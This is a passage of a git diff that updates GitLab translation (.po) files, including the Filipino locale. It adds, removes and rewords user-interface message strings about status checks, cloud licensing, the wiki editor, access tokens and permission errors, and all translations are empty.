@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/fil_PH/gitlab.po b/locale/fil_PH/gitlab.po
index 7fc32cdf46c..77828d45825 100644
--- a/locale/fil_PH/gitlab.po
+++ b/locale/fil_PH/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: fil\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:26\n"
+"PO-Revision-Date: 2021-07-01 21:08\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
